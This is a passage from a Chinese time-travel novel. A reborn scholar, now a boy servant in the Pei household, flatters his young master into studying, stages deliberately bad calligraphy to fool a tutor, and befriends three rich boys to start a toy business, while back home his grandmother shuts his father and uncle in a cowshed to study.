等崔岘提起小书箱,撑着油纸伞,和裴坚一起有说有笑出门后。 呆滞许久的裴老夫人才反应过来。 她颤抖着用手绢压了压眼角的泪意,说道:“快,去给老爷、大爷写信,就说咱家坚哥儿终于肯读书了!岘哥儿这孩子,实在是咱们裴府的贵人呐!” 老夫人口中的‘老爷’、‘大爷’,分别是裴坚的祖父、父亲。 这对父子,都是举人。 裴家老爷在开封府布政史大人麾下做幕僚。 而裴家大爷,则是在开封府的府学里读书。 再往上数三代,裴家祖辈还出过一位户部侍郎,官至正三品,妥妥的绯袍高官。 七八代人共同努力,铸就了一个家境殷实、清名在外的裴家。 是以,裴家开办了自己的族学。 裴氏族学的位置,便在伏牛巷最深处,背靠白河修建,被一片青翠的竹林环抱其中。 竹林外,白河畔,则是一片郁郁葱葱的柳树。 景色清雅,闹中取静。 伏牛巷的宅子为何全南阳最贵? 答曰:学区房! 凡是裴氏一族的男丁,到了年纪,都可以免费来族学开蒙。 除此之外,城中富户乡绅,也可以花费高价,把孩子送去裴氏族学读书。 而能把自家孩子送进裴氏族学,那可是足以让家长炫耀三五年的大喜事! 但现在,裴氏学堂外。 裴坚却神情诡异,踌躇着不肯进去。 他身后,崔岘故作疑惑:“大哥?” 裴坚轻咳一声,回头看向崔岘,说道:“我突然觉得自己……” 但他‘觉得自己还在生病、不宜上学’的话,尚未说完。 一个模样在四十岁左右,身穿儒士长衫的古板中年男子,刚好从学堂里走出来。 瞧见裴坚,那古板男子冷笑一声,阴阳怪气道:“怪哉,这不是我们裴大才子嘛,真是稀客哟。” 换做往常,裴坚肯定撸起袖子,和这古板男子好好吵上一架。 但今日…… 小弟就在身后,他深吸一口气,忍了! 偏偏崔岘不明所以,傻乎乎的‘哇’了一声:“大哥,他夸你是大才子唉!你果然是学堂最优秀的神童。” 这话声音不小。 不仅那古板男子听到了,一部分准备进学堂的学子们,也都听到了。 众人闻声望去,随后神情古怪。 大才子,学堂最优秀的学子,谁?裴坚吗? 简直荒谬! “噗嗤。” “哈哈哈哈。” 学子们互相对视,碍于裴家门楣,不敢明着挑衅,悄悄捧腹嘲笑。 就连那古板男子都在错愕后,跟看傻子似的看向崔岘、裴坚二人,摇着头憋笑离开。 裴坚一张脸涨成猪肝色。 这就是他突然反应过来,不敢进学堂的原因—— 他仗着自己是裴府的少爷,让府里家丁配合,在崔岘面前给自己立了一个‘天才优秀大哥’的人设。 但一到学堂,瞬间就暴露了啊! 他,裴坚,纨绔子弟。 先后被七位夫子怒骂‘朽木不可雕也’的顶级学渣,学堂里人人嘲笑的差等生。 以前不管怎么被奚落,裴坚都觉得无所谓。 可今日当着小弟的面,他生平头一次体会到,什么叫做羞愤,什么叫做难为情。 有那么一瞬间,裴坚甚至快要哭了。 小弟会不会发现他这个所谓的优秀大哥,其实是个废物? 然后跟其余人一样,鄙夷他,嘲笑他,不肯再做他的小弟了? 因为心中忐忑难安,裴坚甚至都不敢回头看一眼崔岘的表情。 这时候,他察觉到自己的衣袖被人攥住,小幅度扯了扯。 接着。 崔岘压低声音忐忑道:“大哥,我从乡下来的,说话咋咋呼呼,也没见识。他们好像在嘲笑我?我是不是给你丢人了啊?对不起,你进学堂吧,我不进去了,我在外面等你。” 裴坚怔怔的听着,只觉得鼻头一酸,整个人都有些哽咽。 笨死了! 他们哪里是嘲笑你,他们是在嘲笑少爷我啊。 明明‘优秀大哥’的谎言没有被拆穿,可是裴坚没来由的就是很难过。 崔岘家境不好,在村里就时常被指指点点,肯定特别特别缺乏自信。 要是自己以前好好用功读书,真的是个天才就好了。 这样就能非常有底气的做一个好大哥,也不至于连累小弟忐忑,误会被人家嘲笑。 心中万千思绪闪过。 本想一气之下不去学堂的裴坚,反手拉住小弟的衣袖,提高声音道:“胡说八道什么,你可是我小弟,是全天下除了我之外,第二优秀的人,哪里会给我丢人?谁又敢嘲笑你?” “他们……他们这是热情欢迎咱俩呢,没办法,谁让少爷我天才神童的名头太过响亮了!” “走,咱们进去!” 裴坚拉着小弟,不顾周围怪异的目光,大步朝学堂里走去。 他步伐坚定,以至于没注意到,崔岘嘴角隐约浮现的笑意。 17、一个天才神童的诞生 崔岘跟着裴坚走进学堂,内部别有洞天。 教舍、宿舍、饭堂,茶室,乐室,‘配套设施’可谓十分齐全。 主院学堂外的走廊一侧。 方才对裴坚阴阳怪气的中年古板男子,正被一群小少年团团围住,请教学问。 “夫子,克己复礼为仁、仁者安仁,这道题目是不是出错了?” “学生翻遍了《论语》,只找到了前半句。” 崔岘闻声望去。 这道题没有出错,因为它是一道截搭题。 前半句出自《论语·颜渊》,后半句出自《论语·里仁》。 在截搭题里,这个算是很简单的。 但这批年轻的学子,竟然质疑出错题。 可见是接触八股文并不算久,多半还尚且没有下场参加过科举。 果然。 那位古板中年男子解释道:“此题并未出错,而是一道截搭题,前半句出自《论语·颜渊》,后半句出自《论语·里仁》。要以‘克己‘作为‘安仁’之根基来切入,引‘礼者仁之节文‘来破题,诠释内外修持的统一性……” 学子们听得似懂非懂,大呼‘好难’。 古板男子摇头失笑:“《荀子·劝学》篇有言,学不可以已。莫要因当下遇到困难就心灰意冷,这样日后还怎么下场科考。好了,为师要去讲课,你们各自去继续学习破题吧。” 于是,学子们纷纷鞠躬,各自散去。 那古板男子起身,恰好瞧见了走进来的裴坚、崔岘。 他笑容骤然一收,甚至鼻孔里还发出一声冷哼,转身进了课堂。 裴坚额角直抽抽,强忍住怒火,对崔岘说道:“这是吴夫子在向我表示友好呢,别误会。” 崔岘:“……” 所以你以前究竟废柴到什么程度啊,让夫子这般嫌弃? 似乎也觉得这个解释过于牵强。 裴坚接过崔岘提着的书箱,说道:“我去上课了,你要是觉得无趣,就去旁边耳房里歇息,那里提供茶水糕点,书籍笔墨。” 说完后,裴坚一咬牙,跟着那位吴夫子进了课堂。 课堂里,一众学子们已经就坐。 见裴坚进来,所有人都互相挤眉弄眼,气氛诙谐。 吴夫子站在课堂最前方,一双眼睛直勾勾盯着裴坚,唯恐这纨绔又要作妖。 然而今日也是奇了。 裴坚老老实实坐下,没有发出丝毫动静,表情也很是正常。 这让已经做好‘战斗准备’的吴夫子,很是不适应。 这混世魔王今日转性了? 唯有裴坚在心里暗暗叫苦。 因为小弟正在课堂外面看着自己呢! 他只能硬着头皮‘表现’。 由于扮演‘天才’过于沉浸入戏,后面他不知不觉的,还真学了进去! 课堂外。 崔岘看了一会儿裴坚拙劣的表演,忍笑悄悄离开。 他和裴坚能认识,全靠自己忽悠。 但不管怎么说,崔家正处于困难的时候,裴坚伸手拉了他家一把。 又是送米面粮油,又是送银子。 就凭这点,崔岘会一直铭记于心,并且督促裴坚用功读书。 离开课堂后,崔岘在裴氏族学里闲逛了一圈。 他先去看了裴坚所说的开蒙课堂。 停了片刻后摇摇头,悄然离开。 作为曾经的汉语言文学专业博士,崔岘穿越到古代,从未骄傲自得,认为自己可以‘拳打’大儒、‘脚踢’诗圣。 他对古人的智慧,向来抱有敬意。 但这并不代表,他要真的老老实实重新开蒙,从简单的识字开始学习。 那太痛苦了。 崔岘打算越过‘小班’,直接跳到‘中班’,或者‘大班’。 用前世幼儿园来作为对比,裴氏族学可以简单粗暴分为:小班,中班,大班。 小班自然是开蒙识字。 中班,也就是裴坚所在的班级,钻研背诵四书五经。 大班,便是方才那群围着吴夫子请教的学子。开始学习八股文,尝试破题,为下场科考做准备。 逛完族学后,崔岘去了裴坚所说的耳房。 这里相当于‘茶水间+休息室’,还特地备了案牍,纸墨笔砚。 此刻学子们都在读书,是以耳房里空空荡荡。 裴氏族学颇有世家风范,就算是少爷的书童仆从们,也可以去课堂旁听。 吴夫子出身微寒,深知农家子不易。 因此特地吩咐,学堂里各家仆从,都可以来耳房练字。 可惜,来写字的仆从寥寥无几。 隔壁吴夫子的讲课声铿锵有力。 微风在竹林中回荡,裹着竹叶的清甜味儿,案牍上的纸张被吹得哗哗作响。 没有人注意到。 耳房中,案牍前。 一个年轻的书童,在翻看了案上那一沓歪歪扭扭、留有吴夫子批注的字帖以后,开始研磨。 崔岘来裴府做书童,是为了赚钱,接济家里。 但他的目的可不仅仅是赚点钱而已。 他要给自己打造一个‘超级天才神童’的人设,为自己以后走科举仕途铺路。 所以他来到裴府,连哄带骗跟裴坚一起,进了学堂。 因为只有进了学堂,他才能开始自己的表演啊! 而隔壁正在讲课的吴夫子,便是崔岘为自己这场表演,挑选的第一个观众。 虽说一进学堂就因为裴坚的原因,连带着被这位吴夫子奚落。 但经过方才在族学里闲逛打听,崔岘对这位吴夫子印象极好。 片刻后。 崔岘左手提笔,用尽全身力气,使劲歪歪扭扭写了一篇丑字。 看着自己写完的字,崔岘非常不满意。 写的太好了。 不行。 他把那张纸揉成一团放进口袋。 想了想,又在左手手臂放上一个干净的沉重砚台,继续写。 结束后,崔岘甚至额头有些冒汗。 假装学渣什么的…… 真的好难啊! 看来做个学渣也不容易。 将写好的丑字认真铺平,置放在案牍上。 听着隔壁吴夫子的讲课声。 崔岘笑着在心中默默地想:“亲爱的观众朋友,你,准备好见证一个超级天才神童的诞生了吗?” 约莫一个时辰后。 讲完课的吴夫子,来耳房稍作休息。 今日裴坚没有作妖,反而格外老实,因此吴夫子心情还算不错。 来到耳房案牍前坐下,吴夫子和往常一样,下意识扫了一眼案牍之上,有没有写好的字需要批注。 同时给自己倒了杯茶。 结果就这么看了一眼,让吴夫子的好心情瞬间荡然无存,端起来的茶盏又气冲冲放下。 他知道,案牍上的字,都出自一些家仆书童之手。 所以哪怕写的不堪入目,吴夫子也尽力批注,以示勉励。 可今日这篇字,已经不能用‘不堪入目’来形容了。 简直是难看至极! 用脚都写不出来这么难看的字! 写字之人不仅天资愚钝,还对笔墨毫无敬畏之心,浮躁猖狂,自大狂妄。 这世间,怎么有人把每一个字都写的如此丑陋! 鸡跳进墨水里,再跳到白纸上一阵扑腾,都能写的比这篇字好看! 简直是在糟践笔墨! 吴夫子看着那篇丑字,心中越来越愤怒。 他提起笔沾了红墨,怒气冲冲下笔一气呵成,写下了一行让自己日后每每想起,便辗转反侧、彻夜难眠、后悔不迭,羞愧到无地自容的批语—— “朽木不可雕也!” 18、四个臭皮匠 吴清澜在耳房里,愤怒批注下‘朽木不可雕也’之后。 心中甚至生出一个荒谬的想法:写这篇字帖的废柴,怕是连裴坚那个纨绔都不如! 这世间,竟还有比裴坚那厮更愚笨之人。 当真令人大为吃惊。 “阿嚏!” 下课后,裴坚刚走出课堂,便狠狠打了个喷嚏。 怪哉,难道是有人在背后骂本少爷? 裴坚狐疑的揉了揉鼻子。 余光里瞧见站在廊下等待的小弟,他眼珠一转,装模作样的继续不停大声‘阿嚏’。 崔岘听到动静,果真露出担忧的表情,小跑着过来关切道:“大哥,你是不是病还没好?” 裴坚赶紧点头,苦兮兮道:“是啊是啊,一上午都不舒服呢。但少爷我向来勤奋刻苦,所以即使抱病也要来学堂……咳咳……” 崔岘眨眨眼:“大哥方才不停打喷嚏,现在又开始咳嗽啦?这究竟是何病?可要去请大夫?” 遭了,一不留神装岔了! 裴坚闻言差点没绷住:“咳咳……阿嚏……咳咳……应该不是什么大病,无需请大夫……咳咳。多半是最近学业繁杂,劳心劳神导致的。我下午告假半天,在家休息休息就好了……阿嚏。” 其实他裴少爷哪里需要告假,这学堂,说不来就不来。 只是这话没法跟小弟明说。 崔岘对此心知肚明,但劝学一事急不得,从学渣到学霸,总要有个过程。 因此他配合着点头:“好,那下午大哥在家好好休息。方才我在廊下,远远看着大哥在课堂上刻苦学习、同夫子讨教学问,实在佩服敬仰。” “好可惜,下午没办法看到大哥的飒爽英姿了。” 天呐! 本少爷刻苦学习的时候,竟是如此之帅气吗? 裴坚被夸得脑子一热,脱口而出道:“无妨,明日我们还会来学堂的。” 说完他就开始后悔。 但崔岘很开心:“太好了,大哥你既聪慧又刻苦,难怪连学堂夫子都夸你是天才,你将来必定会中状元的!” 也是巧了。 崔岘刚说完这话,恰逢吴夫子从耳房里怒气冲冲出来。 因为那篇丑陋至极的字帖,吴清澜心情本就差劲。 如今再次听到崔岘这般‘毫无底线’的吹捧裴坚这个纨绔,当即阴阳怪气跟着重复道:“你将来~必定会~中~状元~的!” 当然,说这话的时候,吴夫子的眼睛直勾勾盯着裴坚,神情微妙。 裴坚:“……” 怎么每次小弟夸自己,都会被这老匹夫听到啊! 气死! 裴坚脸色发涨,罕见的没有底气跟吴清澜争执,拉着崔岘灰溜溜离开。 吴清澜没来由心情大好,不再理会裴坚。 他站在廊下,目光如鹰一般在整个学堂里逗留的家仆、书童身上一一扫视,神情狐疑。 那块比裴坚更加差劲的‘朽木’,究竟是谁? · 伏牛巷。 放学回家的路上。 崔岘做疑惑状:“大哥,咱们刚才为何要开溜?夫子都在夸你以后能中状元呢!” 这会儿没了外人,裴坚不羞耻了,不尴尬了。 他觉得自己又行了。 见崔岘那小身板,又要提书箱,又要撑伞。 身量稍高些的裴坚把书箱接过来背在身上,得意洋洋道:“低调,要低调你懂吗?你大哥我,三岁开蒙,四岁练字,五岁作诗,六岁通读四书五经。” “是南阳府……不对,是河南省都名声赫赫的天才神童!将来中个状元,那还不是手到擒来?” “夫子这些年,见到我就滔滔不绝夸赞,称我有状元之姿。我听得耳朵都要起茧子了,所以一见到他就赶紧开溜。” “唉,优秀,也是一种负担啊。” 崔岘:“……” 你可真能吹牛逼。 尽管心中吐槽,崔岘面上仍旧做惊叹状:“哇!我早知大哥厉害,没想到竟厉害如斯!” “哎呀一般一般,河南第三。” 裴坚自己给自己吹爽了,片刻后又想到什么似的,交代道:“你以后夸我,私下夸就行了,不要当众夸,这样人家会误以为咱们太过高调。” 崔岘嘴角一抽,点头:“受教了,还是大哥想的周到。” 他俩一唱一和,并肩前行,聊得认真。 全然没有注意到。 伏牛巷侧边,有三个约莫在十岁左右的少年,正鬼鬼祟祟的尾随在后面,把他们的谈话听得一清二楚。 起初,那三人只是互相对视,挤眉弄眼忍笑。 到后来,实在是忍不住了。 “噗嗤。” 不知是谁最先笑出声,然后仿佛打开了阀门,三人齐齐爆笑如雷。 “哈哈哈哈哈哈!” “五岁作诗……状元之资哈哈哈哈哈笑死小爷了。” “裴坚,你怎么敢的啊!” 这肆无忌惮且熟悉的笑声,让前面正得意洋洋走路的裴坚身体骤然僵硬住。 随后。 裴坚缓缓转身,不出意外看到自己那三位捧腹大笑的损友,脸色‘唰’的一下就红了。 见鬼,这三个蠢货怎么会在这里! 崔岘跟随裴坚回头,瞧着远处笑到直不起腰的三个小少年,再看看尴尬到手足无措的裴坚,瞬间心中了然。 这是吹牛逼碰上熟人了。 那确实怪尴尬的。 “别慌,稳住!裴坚,你好大哥的形象不能崩塌!” 裴坚在心中大声叫嚣,刻意无视那三个损友,看向崔岘,镇定说道:“遇到几位优秀的同窗,我要去和他们切磋一番学问,你先回家,我稍后再回。” “好的大哥!” 崔岘非常识趣的自行回裴府。 等目送崔岘远去后。 声称要‘和优秀同窗切磋一番’的裴坚拉下脸,气势汹汹走过去,伸出双手,一巴掌扇中一个人的脑袋,又抬脚踢向余下那个人。 “笑!还笑?敢当着我小弟的面,拆老子的台,你们活的不耐烦啦?” 但其实他也就虚张声势,根本没用劲儿。 被打的三人也不介意,互相搀扶着,笑的眼泪都在不停流淌。 直到裴坚恼羞道:“再笑就滚!” 那三个小少年这才收起夸张的笑容,站直身体。 其中一个身量最高,偏瘦,五官清秀,叫做李鹤聿的小少年,率先笑着开口质问道:“好你个裴坚,带着我们大闹学堂跟夫子吵架,说好的以后都不再去学堂读书。你可倒好,自己偷偷摸摸又去学堂了。” 另外一个小矮个儿,圆脸,模样憨厚可爱,叫做庄瑾的小少年揶揄道:“不仅偷偷摸摸去上课,还短时间内成为了河南第三的神童,厉害啊!” 最后一个身材笔挺强壮,五官硬朗,叫做高奇的小少年‘哈哈’大笑,而后审视般询问道:“说说吧,又在整什么幺蛾子?刚才那个对你崇拜到无以复加的俊俏小童子,是什么来头?模样挺俏,但脑子怎地如此不好使,竟会相信你裴坚有状元之姿哈哈哈哈!” 三人话里话外,就一个意思: 大家都是臭皮匠,谁不知道谁? 别装了兄弟! 19、资源、人脉、背景、技术、真理、启动资金 因裴坚要会见同窗。 崔岘独自返回裴府 他躺在柔软的床榻上,回想起上午在学堂,吴清澜从耳房走出来的愤怒表情,嘴角浮现出一抹笑意。 夫子肯定是看到了自己那张丑陋的字帖。 多半还留了批语。 明日去学堂后,找个机会去看看对方批注的内容。 但多半不会是什么好话。 目光环视眼前奢华的裴家卧房,崔岘嘴角的笑容又缓缓收起。 ‘天才神童计划’已经开始推进。 赚钱计划也得尽快提上日程呐。 正当崔岘思索着,该如何合理拉裴坚入伙,做‘黄胖’、‘摩喉罗’玩具生意赚钱的时候—— “少爷回来了!” 院子里响起婢女的声音。 崔岘赶忙从床上爬起来。 · 另一边。 “你的意思是说,那叫做崔岘的少年,通过一个子虚乌有的摩喉罗,在茫茫人海中,发现了耀眼闪光的你。” “他被你的人格魅力折服,认定你俊俏、豪爽、大气、敞亮、优秀、君子气概十足。” “所以发自内心的认你做大哥,甚至觉得你是个天才神童,有状元之姿?” “这……合理吗?” 听完裴坚的讲述。 庄瑾、李鹤聿、高奇三人齐齐瞠目。 但暗中却羡慕不已。 裴坚得意洋洋:“很合理啊,少爷我一直都这么优秀。” 三位损友顿时做呕吐状。 裴坚怒极。 但很快,他收起怒意,好声好气向三位损友作揖:“事儿呢就是这么个事儿,你们也了解了。” “在你们仨,要么赶紧滚蛋,要么随我回府。当然,去了以后注意言辞,要是敢在我小弟面前拆我的台,我弄死你们!” 庄瑾三人神情微妙对视,随后非常默契的朝裴坚伸出手。 “去你家,每人给十两银子封口费,我们保证不拆台。否则的话,嘿嘿……” 三个贱人! 裴坚嘴上怒骂,却肉疼的给了。 于是。 当崔岘听闻少爷回来了,打开厢房门走出去。 便瞧见裴坚身后,三位少年探出头来,如好奇宝宝般打量自己。 崔岘有些摸不着头脑,征询般看向裴坚:“大哥?” 没等裴坚解释。 庄瑾抢先一步走过来,热情的说道:“你就是裴坚的小弟崔岘吧,你好你好。咳,来来来,你看看我,有没有觉得我玉树临风、聪慧机敏?我的意思是说,你有没有那种,也想认我做大哥的冲动?” 高奇从后面一把扯开庄瑾,看向崔岘:“崔岘,别理会这死胖子。你看我,还有胸肌、臂肌呢!魁梧吧?有没有想认我做大哥?” 落于人后的李鹤聿急了,想挤到崔岘面前,但却被庄瑾、高奇挡住。 只能仗着个头高,在后面踮起脚尖跟崔岘打招呼:“崔岘你好,其实,我,我也非常优秀,很适合给人做大哥的!” 崔岘:“……” 这又是唱的哪一出。 原来,方才听完裴坚得意洋洋的讲述。 这三位损友看似表面不屑一顾,其实心里酸的不行。 当街收小弟什么的,听起来就很有侠气风范,太有排面了啊! 因此,一见到崔岘,他们仨就开始‘抢人’。 裴坚闻言气的脸色发黑。 这仨贱人,原来目的不是讹钱,而是要抢他小弟。 但小弟对自己这个大哥很是崇拜,应该……应该不至于被抢走吧? 裴坚没有第一时间发话,暗戳戳期待看向崔岘。 崔岘了然。 他后退几步,对眼神灼灼盯着自己的三位少年摇摇头:“抱歉。我崔岘此生,只认定裴坚一人做我的大哥!大哥对我极好,是世界上最优秀的大哥!” 裴坚听完这话,哈哈大笑,表情嘚瑟至极。 被拒绝的庄瑾、高奇、李鹤聿三人,瞧着崔岘目光灼灼、眼含崇拜看向裴坚的模样。 心中既失落,又眼馋。 三人幻想着自己走在人群中,突然遇见崔岘。 而后崔岘激动看向自己,口中惊呼‘你便是我行走江湖八年寻找的、全世界最优秀的大哥’。 只觉得舒爽到浑身颤抖。 裴坚得意的瞥了一眼三位损友嫉妒泛酸的表情。 这才看向崔岘,解释道:“这是我的三位同窗,方才他们在同你开玩笑呢,你莫要介意。” “我来跟你介绍,这位小胖……咳,这位圆润的少年,叫做庄瑾,今年十岁。他爹是南阳首富,名下产业不计其数,涉猎十几个行业。还记得咱俩第一次见面时候那条集市吗?那一条集市,都是他家的。” 被介绍的庄瑾矜持挺直脊梁,目光期待的看向崔岘。 “这位身材颀长的少年,叫做李鹤聿,11岁,和我同龄。他爹是闻名河南省的建筑工匠大家,像是南阳县衙、府衙、包括整条伏牛巷,都是他爹、和他的祖上先辈修建的。” 李鹤聿同样装模作样的站直了。 “最后这位身材魁梧的,是高奇,10岁。他爹是南阳卫的千户。” 高奇高傲的扬起下巴,目光却不自觉的往崔岘身上瞟。 听裴坚介绍完这三位少年的身份,崔岘的眼睛顿时亮起来,在心中直呼好家伙。 这就是富贵哥的朋友圈吗? 果然了不得! 先说南阳首富的儿子,财大气粗,有人脉,有渠道。 再说建筑工匠大家的儿子,有技术,有人才。 最后是正五品千户的儿子,这个没得说,在南阳县城,属于绝对的‘真理’。 而一门双举人家的裴坚,有声望、有背景,有资源。 先前崔岘对裴坚的这几个纨绔朋友没怎么在意。 如今听过身份介绍。 这四人凑在一起,就是‘士工商兵’强强结合,足以在南阳县城解决方方面面的难题! 看来,这四位少爷能做玩伴,多半也是有家里长辈授意的。 小时候做玩伴,长大了相互帮衬。 富家子弟的基本操作。 而崔岘想要做的玩具生意,从烧制、到铺货、再到售卖,对这几位小少爷来说,简单的就跟玩儿似的。 一般情况下。 出身微寒的农家子崔岘,和这几位少爷同生活在南阳,却一辈子都不可能有任何交集。 但有趣的是。 通过裴坚这个‘最强资源媒介’,现在这三位大有来头的少爷,都在目光炯炯的看着崔岘,期待他的反应。 既然人家都争抢着送上门来被忽悠……被结交,那崔岘又怎会拒绝呢? “哇!” 因此,在三位少爷期待的注视下,崔岘瞪大双眼:“大哥,你的朋友们,简直一个比一个厉害!俊俏、正直、聪慧、有君子之风!你们站在一起,就是耀眼的南阳四大才子,让人心神摇曳、崇拜神往。” 什、什么? 南阳四大才子? 听到这话,四位小少爷脸色涨的发红,激动到难以自持。 一个个拼命站直身体,整理仪容,幻想自己四人并排出街,被路人纷纷惊呼‘是四大才子来了’的画面,只觉得舒爽到无法自拔。 他们都是纨绔学渣,以前不管走到哪里,只会被嘲讽奚落。 毫不夸张的说。 眼前几位少爷,这辈子听过的夸赞加起来,都没有今日崔岘夸的多,夸得漂亮舒坦。 因此和当初的裴坚一样,只是一个照面,三位纨绔就‘沦陷’了。 只觉得崔岘不仅俊俏,还说话好听,双方简直一见如故,恨不得引为人生知己。 他,崔岘,懂我! 所有人都觉得我愚蠢废柴。 唯有他,通过我俊俏的外表,看透了我内心伪装起来的聪慧和骄傲! “对对,我们几个就是南阳四大才子。” “崔岘小弟,你果然好有眼光哦,慧眼识才。” “你这个朋友,我们交定了!” 20、困于牛棚 当崔岘在裴府,被四个富贵哥引为人生知己的时候。 河西村。 崔家的氛围,却一天比一天凝重。 自崔岘离家后的第二天起。 裴府送来的米面粮油、活鸡活鸭,都被老崔氏拿去变卖、换成了银钱。 家里饭桌上的菜,不仅没了荤腥。 甚至连饭菜都开始减量。 可一家人谁都没有提出异议。 崔伯山、崔仲渊兄弟二人更加拼命读书。 崔老太太、林氏、陈氏三个女人,包括崔璇在内,一同夜以继日的织麻。 先前因为崔岘而短暂缓和的温馨家庭氛围,随着他的离开,骤然再次紧绷,甚至比以前更加窒息。 这天,崔家女人们正在院子里忙活。 三叔公赶着驴车,装了一车的土坯砖瓦,进了崔家的院子。 林氏尚且没反应过来,‘哎呦’一声站起身:“三叔,你这是作甚呢?这……我家没买砖啊。” 卧房里正在读书的崔伯山、崔仲渊兄弟俩也被惊动,疑惑走了出来。 三叔公嘴里叼着旱烟吧嗒吸了一口,征询般看向崔老太太:“嫂子?” “是我买的。” 崔老太太不理会全家人错愕的目光,对三叔公说道:“老三,把驴车拉去小后院牛棚吧,今天能砌好吗?” 三叔公怜悯的目光,从崔伯山、崔仲渊两个侄子身上扫过,最后闷声道:“能。” 等三叔公赶着驴车去了小后院。 隐约觉得不太妙的林氏,隐晦的跟陈氏对了个眼色。 陈氏会意,捂着大肚子佯装‘哎哟’一声,同时玩笑般问崔老太太:“娘,咱家要修牛棚?那棚子,您日日清扫,如今要是再翻修,牛住的都要比咱们舒坦嘞。” 自打钰哥儿、岘哥儿离家后,崔老太太脾气越发古怪。 如今也就陈氏仗着怀孕,敢在家里说两句俏皮话。 听完儿媳试探般的询问,崔老太太清理掉身上的麻絮,将手中织好的麻布放下,平静道:“不是给牛住的,是给伯山、仲渊住的。” 全家人闻言脸色骤变。 崔伯山身体一抖,颤声道:“娘, 那牛棚阴冷潮湿、四面透风,怎能住人!” 崔老太太浑浊的双眼看向两个儿子,咬牙道:“老大、老二,你们俩别怪娘心狠。这么多年了,你俩次次都说能中榜,却次次都让娘失望。” “最近娘夜夜辗转反侧,脑子里想着你爹临死前的话,更想着岘哥儿……” “可怜我那乖孙,才八岁,就要被迫离家赚钱。裴府门第高,规矩多,岘哥儿寄人篱下,不知可能吃饱、穿暖,又不知该受多少心酸委屈。” “你们一个当大伯的、一个当父亲的,但凡还有点良心,就该好好读书,桂榜高中,为家里分忧。再把岘哥儿接回来,送去学堂开蒙。” “而不是让一个八岁稚童外出赚钱,供你俩读书!” 崔老太太厉声呵斥,字字如刀:“下午你们三叔把牛棚修缮好以后,你俩便搬进去吧。从今日,到明年院试开始这段时间,你俩不得出牛棚一步,安心在里面用功读书!恭桶每日一换,吃食隔着小窗递进去。” 这……这简直是要把人当‘牲口’来圈养啊! “娘,媳妇儿求您了,必定会监督相公好好读书,您别让他住牛棚!” “那牛棚……实在没办法住人啊!” 两个儿媳脸都白了,苦苦哀求。 崔璇同样吓得面无人色。 但崔老太太根本不为所动。 她一双眼睛死死的盯着崔伯山、崔仲渊:“想想你们父亲临死前的话,想想岘哥儿小小年纪,遭的罪受的苦!你们两个不成器的,再立不起来,难不成还要娘以后把钰哥儿、岘哥儿也关进牛棚里?” 当天,崔家哭声一片。 崔伯山、崔仲渊兄弟俩最终还是妥协了,住进了修砌好的牛棚。 狭小的牛棚分作两间。 逼仄,沉闷。 顶部开一小窗,用于送饭、递取恭桶。 这四四方方的牛棚,犹如坐监囚笼,将兄弟二人死死困顿其中。 他俩坐在牛棚里,神情麻木看书。 而崔老太太站在牛棚外面,同样面无表情。 一座牛棚,困住了三个人。 许久后。 崔老太太才缓过神,她走到前院,看着‘无家可归’的老牛,对抽泣的两个儿媳说道:“明日把牛卖了吧。” 林氏擦了一把眼泪:“牛卖了,怎么耕地?” 崔家这些年变卖了很多东西,余剩下三十亩田,一头老牛,用于维持生计。 但因崔仲渊、崔伯山要专心读书。 只凭崔家三个女人,干不完这么多农活,所以还要再花些钱,请村里人帮忙种田。 再加上还得缴纳粮税。 如今家里又多了一个钰哥儿要读书。 这都是很吓人的开支。 如今已是四月,再过俩月,就是夏收,接着便是夏种。 卖了牛,耕地种田只会越发艰难。 “老大老二住进牛棚,牛不能待在院子里了,会打扰他们二人温书,必须卖掉。” 崔老太太说道:“等到耕地的时候,娘再想别的办法吧。” 两个儿媳神情绝望。 ……再这样折腾下去,这个家,真的要垮了啊。 第二天,崔家的牛卖掉了。 村子里几乎没有秘密,崔家这接二连三的大动作,让全河西村的人都在议论。 “老崔氏真的疯了!” “她竟然让俩儿子住进牛棚!那岂是人能住的?哎哟,造孽哟!” “要我说,这崔家就没有那中榜的命!” “别说中榜,她家穷的哟,饭都吃不上啦。” “各家都看看,这就是非要读书的凄惨下场!” “我可是听说啊,老崔氏前些天,还把岘哥儿给送去给人当仆从了。你说说,这是真狠心呐。我宁肯饿死,也舍不得孙子去伺候别人!” “崔家,没救了!” 21、《虹猫蓝兔七侠传》 短短一个下午过去。 崔岘又成功忽悠……不对,是成功结交了三位富贵哥。 裴府。 小少爷裴坚的卧房。 四位‘才子’人均手持一把折扇,矜持放在胸前摇曳。 一个个瞧起来风度翩翩、斯文俊秀,还真有几分大才子的姿态—— 如果刻意忽略他们吊儿郎当的身板,和做作忸怩姿态的话。 崔岘强忍住笑意,郑重开口道:“大哥,还有南阳其余三位大才子,小弟有个难题,想求助于你们。” 认大哥的目的是什么? 那必然是请大哥帮忙啊! 裴坚入戏太深,闻言一甩手中折扇,却不曾想差点把扇子甩飞。 慌忙中他赶忙将折扇稳住,心中暗呼好险,表面不慌不忙道:“哦?什么难题,说出来,大哥必定帮你。” 高奇性格毛躁,对崔岘这个新朋友格外热络:“难道有人欺负你?岘弟你放心,我去千户所吆喝一声,立马能叫来数十位好汉,替你讨回公道!” 庄瑾白了高奇一眼,豪横从怀里掏出一个鼓鼓囊囊的荷包:“打打杀杀太粗鲁,一点都不符合我们才子风范。岘弟,这世间没有难题是钱解决不了的,你缺多少,五十两够吗?” 李鹤聿则是猜测道:“岘弟,是你家要盖房子?打造家具?锻造首饰?开染坊?酿酒?或者挖井?你放心,只要关乎衣食住行,我都能帮你解决。” 看吧,这就是多认大哥的好处! 你有事儿,大哥们是真帮忙啊。 然而崔岘听完之后,摇头:“都不是,我……构思了一个话本,今日想请四位大才子指教一番。” 什、什么? 写话本? 卧房里的氛围顿时一滞。 庄瑾没忍住:“噗嗤。” 片刻后,他在其余三位臭皮匠谴责的目光中,歉意闭嘴。 裴坚看向崔岘,强忍住笑意,说道:“哦?你还会写话本,好生厉害。今日刚好无事,你讲出来,我们四位才子帮你提提意见。” 他们四人虽然学业不精,但出身富贵,见多识广。 话本岂是那么好写的? 莫说崔岘一个未开蒙的稚童。 就算文采斐然的秀才公、举人老爷,能作锦绣诗篇写八股文章,却不见得能写话本。 这种事情,需要天分。 但裴坚是个好大哥,并不想打击小弟,于是选择给予鼓励。 其余三人反应过来,非常捧场的等待崔岘开讲。 崔岘佯装赧然道:“我这话本,讲的是一个侠气肝胆,拯救天下苍生的故事,名为《虹猫蓝兔七侠传》。” 如果把摩喉罗、黄胖当做‘手办’的话。 套用现代商业思维,想要在古代把‘手办’卖脱销,区别于市面上的普通手办脱颖而出,那就得先讲个爆款好故事。 把故事话本推上市,做成畅销书。 